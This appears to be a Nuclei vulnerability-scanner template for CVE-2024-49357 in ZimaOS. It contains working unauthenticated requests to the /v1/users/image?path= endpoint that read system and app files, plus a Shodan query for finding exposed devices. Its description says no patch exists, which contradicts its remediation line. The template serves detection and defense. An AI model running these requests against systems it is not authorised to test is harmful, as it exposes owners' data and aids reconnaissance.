id: CVE-2024-49357

info:
  name: ZimaOS <= v1.2.4 - Sensitive Information Disclosure
  author: DhiyaneshDk
  severity: high
  description: |
    ZimaOS is a fork of CasaOS, an operating system for Zima devices and x86-64 systems with UEFI. In version 1.2.4 and all prior versions, the API endpoints in ZimaOS, such as `http://<Server-IP>/v1/users/image?path=/var/lib/casaos/1/app_order.json` and `http://<Server-IP>/v1/users/image?path=/var/lib/casaos/1/system.json`, expose sensitive data like installed applications and system information without requiring any authentication or authorization. This sensitive data leak can be exploited by attackers to gain detailed knowledge about the system setup, installed applications, and other critical information. As of time of publication, no known patched versions are available.
  impact: |
    Attackers can access sensitive system and application data, potentially aiding further malicious activities or reconnaissance.
  remediation: Upgrade ZimaOS to v1.2.5 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-49357
    - https://github.com/IceWhaleTech/ZimaOS/issues
    - https://github.com/advisories/GHSA-hg2h-q5h6-r5c4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-49357
    cwe-id: CWE-200,CWE-862
    epss-score: 0.7171
    epss-percentile: 0.98755
  metadata:
    verified: false
    max-request: 2
    vendor: zimaos
    product: zimaos
    shodan-query: "ZimaOS"
  tags: cve,cve2024,zimaos,casaos,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/users/image?path=/var/lib/casaos/1/app_order.json"
      - "{{BaseURL}}/v1/users/image?path=/var/lib/casaos/1/system.json"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"installed_apps":'
          - '"os_version":'
          - '"cpu_info":'
        condition: or

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100811abbccc7199460f709cab105ed4bbb81121ec1a6ace9539a2e56305dd3c422022100fcd7b63ddba5d0a39e1beeaa93d8ce1aea33c867695a1f3d1e769868b7fb4cfe:922c64590222798bb761d5b6d8e72950